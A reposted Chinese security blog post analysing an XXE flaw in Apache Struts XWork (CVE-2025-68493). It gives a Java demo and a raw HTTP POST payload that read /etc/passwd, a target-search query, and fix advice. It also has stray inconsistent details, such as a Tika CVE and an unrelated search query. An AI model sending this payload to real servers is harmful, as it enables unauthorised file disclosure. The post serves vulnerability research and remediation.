文章总结: 本文详细分析了ApacheStrutsXWork组件存在的XXE漏洞CVE-2025-68493,该漏洞影响6.1.0及以下版本,源于DomHelper.parse方法未限制外部实体访问。文章提供了漏洞原理、受影响版本、POC验证数据及基于AI生成的Nuclei批量检测脚本,并给出了升级版本或配置JVM参数禁用外部实体的修复建议。 综合评分: 85 文章分类: 漏洞POC,漏洞分析,WEB安全,渗透测试,解决方案
Apache Struts XWork XML漏洞CVE-2025-68493 poc及脚本
原创
MY0723 MY0723
不秃头的安全
2026年1月16日 15:47 北京
Apache Struts XWork XML漏洞
CVE-2025-68493 poc及脚本
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询
近日,Apache Tika 被曝出一个高危 XML 外部实体注入漏洞(CVE-2025-66516),CVSS 3.1 评分高达 8.1,攻击者可通过精心构造的 PDF 文件发起攻击,危害极大。
同时通过manus快速生成nuclei的yaml测试脚本批量检查,即生即用任何修改不需要动。
1.🎯 漏洞描述
Apache Struts XML外部实体注入漏洞(CVE-2025-68493),该漏洞源于 Apache Struts XWork-Core 组件中对 XML 解析器安全选项配置不当,攻击者可利用该漏洞,通过构造恶意的 XML 数据并发送至受影响的 Apache Struts 应用,触发 XML 外部实体注入,进而实现数据泄露、SSRF、拒绝服务等攻击。
🚀测绘语句
语句命中大量蜜罐,建议结合业务域名、ICP、证书信息交叉验证,避免误报。
fofa:title="E-Business Suite"
2. ✨ 受影响范围
2.0.0 <= Apache Struts <= 2.3.37(EOL)
2.5.0 <= Apache Struts <= 2.5.33(EOL)
6.0.0 <= Apache Struts <= 6.1.0
3.🛰️ 漏洞详情
在自定义代码中使用了 com.opensymphony.xwork2.util.DomHelper.parse 危险函数,该漏洞的根本原因在于Struts2在解析XML时,未正确限制外部实体的访问。当应用程序使用DomHelper.parse方法解析用户提供的XML时,如果XML中包含外部实体声明,且未正确配置安全参数,解析器会尝试加载并解析这些外部实体,导致XXE攻击。
具体来说,Java的JAXP(Java API for XML Processing)在解析XML时,默认允许访问外部实体(通过ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA参数控制)。在Struts2的实现中,当dtdMappings为null时,会直接使用SAXParserFactory创建解析器,而默认情况下这些安全参数未被正确设置,导致可以访问外部实体。
Java代码示例,展示如何触发该漏洞:
import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import java.io.IOException;
import java.io.StringReader;
public class XXEVulnerabilityDemo {
public static void main(String[] args) throws IOException {
// 构造恶意XML,包含外部实体引用
String xmlContent = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]>\n" +
"<root>&xxe;</root>";
InputSource inputSource = new InputSource(new StringReader(xmlContent));
Document document = DomHelper.parse(inputSource);
if (document != null && document.getDocumentElement() != null) {
System.out.println("解析结果: " + document.getDocumentElement().getTextContent());
}
}
}
漏洞触发过程: 攻击者构造包含外部实体引用的XML数据 应用程序使用DomHelper.parse方法解析该XML 解析器在处理DTD声明时,会尝试加载file:///etc/passwd文件,服务器将/etc/passwd文件的内容作为XML解析结果返回。
在Struts2应用中,如果存在类似XmlParserNoDtdAction这样的Action,允许用户提交XML数据进行解析,攻击者就可以通过提交上述恶意XML来读取服务器上的任意文件。
4. 🔐POC及脚本
🛰️POC:
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Length: 104
<?xml version="1.0"?><!DOCTYPE foo [
<!ENTITY xxeSYSTEM"file:///etc/passwd">]>
<foo>&xxe;</foo>
🌐利用manus ai快速生成nuclei的yaml测试脚本
不用在自己写脚本直接生成就可用。 本来想直接用[南风漏洞复现文库](https://mp.weixin.qq.com/s/0DQyyxO7cbELzJXbxF4A2g)现成文章直接生成,由于manus访问微信页面的滑块验证机制,目前无法直接读取链接文章的内容,将文章直接复制到manus后直接写一个nuclei的yaml脚本批量测试
成功输出都不需要手动变更直接使用
可直接拿nuclei测试,发现存在漏洞
可以验证下效果,包好用啊
📑修复建议
请及时更新至最新版本:Apache Struts >= 6.1.1
对于暂时无法完成版本升级的用户,可采取以下临时缓解措施:
1.使用自定义SAXParserFactory:配置系统属性xwork.saxParserFactory,指定一个默认禁用外部实体的自定义工厂类,阻止恶意外部实体的解析;
2.配置JVM 级别的安全参数:通过设置系统属性禁用XML 解析器对外部实体的访问,具体配置如下:
-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""
🔄 脚本获取
公众号回复“20260116”即可获取链接
📄往期推荐:
新款Shiro漏洞利用工具- Y5neKO 【攻防演练】内网大保健-快速刷分流程 攻防演练-医院-ez一把梭 记一次edu站点的fastjson打法
关于我们:
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。
1. 需要以下各类安全证书的可以联系,后期可能涨价~
①Cn*d,NCC,NVDB🀄️高漏洞证书
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。想加群下方链接,群过期或群满加下方vx拉:
- 需要入星球的可以私聊优惠?
1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、最新新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠
3、其他合作(合法合规)
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);
2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;
3、接受脱敏投稿,送一年知识星球及礼包。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:不秃头的安全 MY0723 MY0723《Apache Struts XWork XML漏洞CVE-2025-68493 poc及脚本》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论